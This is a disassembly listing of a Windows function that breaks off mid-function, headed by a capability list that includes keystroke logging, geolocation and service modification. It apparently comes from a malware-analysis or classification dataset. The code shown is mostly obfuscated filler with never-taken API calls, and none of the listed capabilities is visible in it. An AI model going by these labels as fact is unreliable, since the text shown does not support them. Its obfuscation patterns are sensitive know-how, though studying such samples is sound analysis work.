Function at 0x100350c0
Capabilities:
Accept command line arguments
Create thread
Get disk information
Get file size
Get geographical location
Log keystrokes
Modify service
Set environment variable

Disassembly:
mov eax, 0x1006b379
call fcn.10069f78
sub esp, 0x9fc
push ebx
push esi
push edi
mov edi, 0xb7c7ce53
mov byte [ebp - 0x59], dl
mov dword [ebp - 0x24], edi
xor ebx, ebx
mov dword [ebp - 0x30], 0x7f191253
push 3
mov dword [ebp - 0x30], 0xb5cf
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0x18], ebx
pop esi
jmp 0x1003510d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x634], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100350fc
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x1003512b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x23c], 0xb43d2717
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003511a
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 2
jg 0x10035193
mov dword [ebp - 0x14], esi
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1003514d
push edx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x10035161
push ebx
push 0x224e
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x10035187
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x10035182
push ebx
push 0x18fb
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
dec dword [ebp - 0x14]
jns 0x1003516d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
push 1
pop edx
jle 0x10035139
cmp dword [ebp - 0x24], ebx
jne 0x100351bb
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov edx, ebx
cmp eax, edx
setge cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
inc edx
mov eax, dword [ebp - 0x630]
mov ecx, edx
sub ecx, eax
sub ecx, 0x20dd
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x30], 0x7f191253
mov dword [ebp - 0x30], 0xb5cf
mov dword [ebp - 0x18], ebx
jmp 0x10035203
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4a8], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100351f2
mov dword [ebp - 0x2c], 0x2496
cmp dword [ebp - 0x2c], 0x1183
jge 0x10035362
lea eax, [ebp - 0xd8]
push eax
push 0x100077f8
call fcn.100513ab
pop ecx
pop ecx
lea eax, [ebp - 0x69]
mov byte [ebp - 0x69], bl
push eax
push 0xb3
lea ecx, [ebp - 0x7d8]
call fcn.1002f7c4
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x5f8]
push dword [ebp - 0xd8]
call fcn.1000e440
mov edi, dword [ebp - 0xd8]
test edi, edi
jle 0x10035285
mov esi, dword [ebp - 0x5f8]
push esi
push 0x100077f8
call fcn.100513ab
mov edi, dword [ebp - 0xd8]
inc ebx
pop ecx
add esi, 4
pop ecx
cmp ebx, edi
jl 0x1003526a
xor eax, eax
mov ebx, eax
mov dword [ebp - 0x200], eax
mov esi, eax
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x204], esi
dec edi
mov byte [ebp - 4], 2
js 0x1003530b
mov eax, dword [ebp - 0x5f8]
lea ebx, [eax + edi*4]
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x3c], eax
mov esi, dword [ebx]
xor eax, eax
mov ecx, esi
inc eax
and ecx, 0x1f
mov edx, esi
shl eax, cl
mov ecx, dword [ebp - 0x3c]
shr edx, 5
test dword [ecx + edx*4], eax
jne 0x100352f9
mov edx, esi
xor eax, eax
and esi, 0x1f
shr edx, 5
inc eax
mov ecx, esi
shl eax, cl
mov ecx, dword [ebp - 0x3c]
push ebx
or dword [ecx + edx*4], eax
lea ecx, [ebp - 0x208]
call fcn.1002f76a
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x3c], eax
sub ebx, 4
dec edi
jns 0x100352b6
mov esi, dword [ebp - 0x204]
mov ebx, dword [ebp - 0x208]
sub esi, ebx
sar esi, 2
push esi
push 0x10007804
jmp 0x10035320
push dword [ebx + esi*4]
push 0x100078c0
call fcn.100515a0
dec esi
pop ecx
pop ecx
jns 0x10035318
push 0x10007760
call fcn.1005170c
pop ecx
lea ecx, [ebp - 0x208]
call fcn.1000efca
lea ecx, [ebp - 0x5f8]
call fcn.1000efca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7d8]
call fcn.1002f825
xor edx, edx
xor ebx, ebx
push 3
inc edx
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x10035378
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x25c], 0xb43d2717
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10035367
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 2
jg 0x100353e3
mov dword [ebp - 0x14], esi
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1003539b
push edx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x100353b0
push ebx
push 0x224e
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x100353d7
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x100353d2
push ebx
push 0x18fb
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
dec dword [ebp - 0x14]
jns 0x100353bc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
push 1
pop edx
jle 0x10035386
cmp dword [ebp - 0x24], ebx
jne 0x1003540b
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov edx, ebx
cmp eax, edx
setge cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
inc edx
mov eax, dword [ebp - 0x4a4]
mov ecx, edx
sub ecx, eax
sub ecx, 0x20dd
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], 0x4f833fcb
mov dword [ebp - 0x20], ebx
jmp 0x10035445
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2e4], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10035438
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10035466
push 0xf40
push 0x26d4
call dword [sym.imp.USER32.dll_GetWindowLongW]
xor edx, edx
inc edx
mov dword [ebp - 0x14], ebx
push 5
pop eax
cmp dword [ebp - 0x14], ebx
jl 0x1003552d
jmp 0x1003547a
xor edx, edx
inc edx
mov dword [ebp - 0x18], edx
lea ecx, [ebp - 0x740]
mov dword [ebp - 0x34], 0xfffffffe
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x735b263d
mov dword [ebp - 0x34], eax
push edx
call fcn.1000e440
xor edx, edx
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x100354c2
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x740]
mov dword [eax + ecx*4], 0x956e74e8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x100354af
mov dword [ebp - 0x18], ebx
jmp 0x100354e9
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x100354dc
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x2e4]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100354cc
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10035516
mov dword [ebp - 0x34], 0xdfd9
mov dword [ebp - 0x34], 0x9753589f
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x302aff63
inc dword [ebp - 0x30]
dec dword [ebp - 0x18]
jns 0x100354f6
lea ecx, [ebp - 0x740]
call fcn.1000efca
dec dword [ebp - 0x14]
push 5
pop eax
jns 0x10035477
push 1
lea ecx, [ebp - 0x34c]
call fcn.1000e440
xor edx, edx
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x10035558
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34c]
mov dword [eax + ecx*4], 0xfffffff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10035545
mov eax, dword [ebp - 0x34c]
mov dword [eax], edx
mov dword [ebp - 0x2c], 0x1aef
cmp dword [ebp - 0x2c], 0x5e4
jge 0x10035670
lea eax, [ebp - 0xa4]
push eax
push 0x100077f8
call fcn.100513ab
mov eax, dword [ebp - 0xa4]
pop ecx
pop ecx
test eax, eax
je 0x10035669
mov dword [ebp - 0x26c], ebx
dec eax
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x174]
push eax
push 0x100077f8
call fcn.100513ab
pop ecx
pop ecx
lea eax, [ebp - 0x26c]
push eax
push 0x87
lea ecx, [ebp - 0x6a0]
call fcn.1000e513
cmp dword [ebp - 0x174], 0
mov esi, ebx
mov edi, dword [ebp - 0x6a0]
jle 0x10035607
lea eax, [ebp - 0x2c8]
push eax
push 0x100077f8
call fcn.100513ab
mov eax, dword [ebp - 0x2c8]
pop ecx
pop ecx
inc dword [edi + eax*4]
inc esi
cmp esi, dword [ebp - 0x174]
jl 0x100355e2
xor eax, eax
mov edx, eax
mov ecx, eax
lea ebx, [eax + 1]
mov eax, dword [edi + ecx*4]
cmp eax, 1
jg 0x10035628
jne 0x10035624
test bl, bl
je 0x10035624
mov edx, ecx
xor bl, bl
jmp 0x10035628
test eax, eax
je 0x10035633
inc ecx
cmp ecx, 0x87
jl 0x10035610
jmp 0x10035640
xor eax, eax
test bl, bl
setne al
inc eax
imul eax, ecx
add edx, eax
push edx
push 0x10007804
call fcn.100515a0
pop ecx
pop ecx
lea ecx, [ebp - 0x6a0]
call fcn.1000efca
mov eax, dword [ebp - 0xa4]
push 0
pop ebx
test eax, eax
jne 0x100355a0
dec eax
mov dword [ebp - 0xa4], eax
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1003568f
push ebx
push 0x411
push 0x1ab0
push 0xe02
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
mov eax, dword [ebp - 0x34c]
dec dword [eax]
cmp dword [eax], 0xfffffff6
jne 0x10035565
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34c]
call fcn.1000efca
xor eax, eax
lea ecx, [ebp - 0x328]
inc eax
push eax
call fcn.1000e440
xor edx, edx
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x100356e0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x328]
mov dword [eax + ecx*4], 0x1124f01c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x100356cd
mov dword [ebp - 0x1c], ebx
jmp 0x1003570d
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x328]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x328]
cmp dword [eax + ecx*4], ebx
jne 0x10035712
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x100356ea
lea ecx, [ebp - 0x328]
call fcn.1000efca
mov dword [ebp - 0x24], 0xb7c7ce53
xor ecx, ecx
mov dword [ebp - 0x1c], 0xb6182eac
inc ecx
mov dword [ebp - 0x2c], 0xdd1d8f8f
mov dword [ebp - 0x34], 0xab89bdd7
mov dword [ebp - 0x34], 0x8d9ba5f2
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x18], ebx
jmp 0x10035758
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8bc], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003574b
push 4
mov dword [ebp - 0x18], ebx
pop esi
jmp 0x10035773
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x958], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10035766
mov ecx, dword [ebp - 0x1c]
xor edx, edx
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
push 2
setle dl
xor ebx, ebx
add edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne bl
xor ecx, ecx
mov dword [ebp - 0x8bc], ebx
mov eax, dword [ebp - 0x1c]
cmp ebx, eax
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x228]
inc dword [ebp - 0x30]
mov dword [ebp - 0x4c], 0x7f191253
call fcn.1000e440
mov dword [ebp - 4], esi
xor ebx, ebx
mov dword [ebp - 0x1c], 0x490c4d8e
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x20], ebx
jmp 0x100357e2
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x228]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100357d3
xor eax, eax
mov dword [ebp - 0x1c], ebx
inc eax
cmp dword [ebp - 0x1c], eax
jg 0x10035925
lea esi, [ebp - 0x8a0]
lea edi, [ebp - 0x890]
movdqa xmm0, xmmword [0x10007f50]
push ecx
push edi
mov dword [ebp - 0x34], 0xfffffffa
lea ecx, [ebp - 0x774]
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], 0x89a278c0
push esi
movdqu xmmword [ebp - 0x8a0], xmm0
call fcn.1002f5e8
xor edx, edx
inc edx
mov dword [ebp - 0x30], edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x228]
cmp dword [eax + ecx*4], ebx
je 0x100358da
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x34], 0xd76715f0
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x34], 0x8e64e6dc
mov dword [ebp - 0x34], 0x7304
mov dword [ebp - 0x20], ebx
jmp 0x10035883
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x948], 0xc257a10d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10035872
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x100358fe
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x34], 0x7d711e7b
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], edx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x100358d0
push 0x18e8
push 0x1a89
push 0x1f6a
call dword [sym.imp.GDI32.dll_GetPixel]
xor edx, edx
inc edx
dec dword [ebp - 0x30]
dec dword [ebp - 0x14]
jns 0x10035891
jmp 0x100358fe
mov dword [ebp - 0x2c], 0xffffffff
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x228]
mov dword [eax + edx*4], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x228]
cmp dword [eax + ecx*4], ebx
jne 0x1003591a
lea ecx, [ebp - 0x774]
call fcn.1000efca
inc dword [ebp - 0x1c]
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jle 0x10035803
jmp 0x10035925
lea ecx, [ebp - 0x774]
call fcn.1000efca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x228]
call fcn.1000efca
mov dword [ebp - 0x4c], 0xb5cf
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x10035987
mov dword [ebp - 0x20], 0x6d444182
mov dword [ebp - 0x20], 0xffffffeb
jmp 0x1003597e
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x10035967
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1003597b
push 0x257c
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffed
jge 0x10035957
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe9
jge 0x10035947
push 2
lea ecx, [ebp - 0x358]
call fcn.1000e440
mov dword [ebp - 0x20], ebx
jmp 0x100359b2
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x358]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1003599f
mov eax, dword [ebp - 0x358]
or dword [eax], 0xffffffff
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x100359d1
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [ebp - 0x358]
inc dword [eax]
cmp dword [eax], 0x19
jl 0x100359c1
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x100359f6
xor eax, eax
inc eax
push eax
push ebx
push 0x1b90
call dword [sym.imp.USER32.dll_SetWindowRgn]
lea ecx, [ebp - 0x358]
call fcn.1000efca
mov dword [ebp - 0x1c], 0x32bb
mov dword [ebp - 0x2c], 0x2357
cmp dword [ebp - 0x2c], 0x1323
jge 0x10035ad0
lea eax, [ebp - 0xb4]
push eax
push 0x100077f8
call fcn.100513ab
jmp 0x10035ab9
dec eax
mov esi, 0x3b9aca07
mov dword [ebp - 0xb4], eax
or edi, 0xffffffff
lea eax, [ebp - 0x98]
push eax
push 0x100077f8
call fcn.100513ab
pop ecx
pop ecx
jmp 0x10035a92
dec eax
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x2a0]
push eax
push 0x1000781c
call fcn.100513ab
mov eax, dword [ebp - 0x27c]
add esp, 0xc
cmp esi, eax
cmovl eax, esi
mov esi, eax
mov eax, dword [ebp - 0x2a0]
cmp edi, eax
cmovg eax, edi
mov edi, eax
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x10035a56
dec eax
mov ecx, edi
mov dword [ebp - 0x98], eax
sub ecx, esi
xor eax, eax
cmp esi, edi
cmovl eax, ecx
push eax
push 0x10007804
call fcn.100515a0
mov eax, dword [ebp - 0xb4]
pop ecx
pop ecx
test eax, eax
jne 0x10035a32
dec eax
mov dword [ebp - 0xb4], eax
push 4
pop edi
push edi
lea ecx, [ebp - 0x598]
call fcn.1000e440
xor edx, edx
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x34], 0xe65dd4d1
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x20], ebx
jmp 0x10035b15
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x598]
mov dword [eax + ecx*4], 0x475ee4c2
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10035b02
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
mov esi, dword [ebp - 0x598]
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp eax, 0xb79f6a71
setne dl
sub edx, ecx
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [esi + 8], edx
cmp dword [esi + 8], eax
mov eax, dword [ebp - 0x1c]
sete cl
xor edx, edx
cmp ecx, 0xb7a14055
setne dl
imul eax, edx
test eax, eax
je 0x10035b73
cmp dword [ebp - 0x1c], ebx
je 0x10035b73
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10035b75
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp ecx, 1
lea ecx, [ebp - 0x598]
setle al
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x30]
call fcn.1000efca
push 3
mov dword [ebp - 0x18], ebx
pop esi
jmp 0x10035baa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5ec], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10035b99
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x10035bc8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x210], 0xb43d2717
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10035bb7
mov dword [ebp - 0x24], 0xe6c8cac3
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x28], 0xf23e4692
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x54], 0xfffffffa
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x58], 0xfffffffc
mov dword [ebp - 0x40], 0xaa775beb
mov dword [ebp - 0x2c], 0xe702d15f
mov dword [ebp - 0x34], 0xfffc
mov dword [ebp - 0x20], ebx
jmp 0x10035c33
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x110], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10035c22
mov ecx, dword [ebp - 0x104]
push 0xfffffffffffffffd
pop eax
sub eax, ecx
je 0x10035c4d
cmp dword [ebp - 0x104], ebx
jne 0x10035c57
mov ecx, ebx
cmp dword [ebp - 0x110], ebx
je 0x10035c59
mov ecx, edx
mov eax, dword [ebp - 0x108]
imul eax, dword [ebp - 0x104]
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jl 0x10035d4b
mov dword [ebp - 0x18], 0x3735b263
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x2c], 0xc9d94031
mov dword [ebp - 0x34], 0xf14186e1
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jg 0x10035d7a
mov dword [ebp - 0x3c], 0x6d0c11e0
lea ecx, [ebp - 0x3e8]
push edx
call fcn.1000e440
xor edx, edx
mov dword [ebp - 0x20], ebx
inc edx
jmp 0x10035cd0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3e8]
mov dword [eax + ecx*4], 0x3d1f0dfb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10035cbd
dec dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x3e8]
setg dl
xor ecx, ecx
cmp edx, dword [eax]
setl cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
je 0x10035d06
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
inc ecx
cmp edx, ecx
jbe 0x10035d2a
mov eax, dword [ebp - 0x3e8]
cmp dword [eax], ebx
mov eax, ecx
jne 0x10035d2c
mov eax, ebx
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x3e8]
call fcn.1000efca
inc dword [ebp - 0x18]
push 1
pop edx
cmp dword [ebp - 0x18], esi
jle 0x10035ca2
jmp 0x10035d77
mov dword [ebp - 0x1c], ebx
jmp 0x10035d61
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x110], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10035d50
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x10035d7a
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor edx, edx
inc edx
cmp dword [ebp - 0x24], ebx
je 0x10035e19
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], edx
xor edx, edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x30]
cmp eax, 1
mov eax, dword [ebp - 0x58]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
cmp eax, 0xa5db
mov eax, dword [ebp - 0x58]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
imul ecx, dword [ebp - 0x30]
mov dword [ebp - 0x30], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x44]
cmp eax, 0x338
mov eax, dword [ebp - 0x40]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x104]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
sub eax, 0x42e27698
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x10c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 2
jg 0x10036a32
lea edi, [ebp - 0x7f4]
push 2
lea ecx, [ebp - 0x1dc]
call fcn.1000e440
push 5
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], 0x10b49f2b
mov dword [ebp - 0x18], ebx
jmp 0x10035e83
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1dc]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10035e70
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x10035e9e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc8], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10035e91
mov eax, dword [ebp - 0x1dc]
cmp dword [eax], ebx
je 0x100360dd
mov dword [ebp - 0x18], 0x43d837bc
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xffffffe7
jne 0x10035ff2
mov dword [ebp - 0x4c], 0xca29
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], 0x23f6
cmp dword [ebp - 0x2c], 0x4b8
jge 0x10035f6a
lea eax, [ebp - 0xe8]
push eax
push 0x100077f8
call fcn.100513ab
mov bl, byte [ebp - 0xe8]
xor esi, esi
pop ecx
and bl, 1
pop ecx
cmp dword [ebp - 0xe8], esi
jle 0x10035f4f
lea eax, [ebp - 0x14c]
push eax
push 0x100077f8
call fcn.100513ab
pop ecx
pop ecx
test esi, esi
jne 0x10035f30
test byte [ebp - 0x14c], 1
je 0x10035f4d
mov ecx, dword [ebp - 0xe8]
lea eax, [ecx - 1]
cmp esi, eax
jne 0x10035f46
test byte [ebp - 0x14c], 1
je 0x10035f4d
inc esi
cmp esi, ecx
jl 0x10035f10
jmp 0x10035f4f
xor bl, bl
mov ecx, 0x100078cc
test bl, bl
mov eax, 0x100078c8
cmove eax, ecx
push eax
call fcn.1005170c
pop ecx
xor ecx, ecx
xor ebx, ebx
inc ecx
mov dword [ebp - 0x20], ebx
jmp 0x10035f7c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x6d8], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10035f6f
cmp dword [ebp - 0x4c], ebx
jne 0x10035fef
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x6fe6
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1dc]
cmp ecx, dword [eax]
setl dl
shl edx, 3
test edx, edx
je 0x10035fda
cmp dword [ebp - 0x6d8], ebx
je 0x10035fda
xor ecx, ecx
inc ecx
mov eax, ecx
jmp 0x10035fdf
xor ecx, ecx
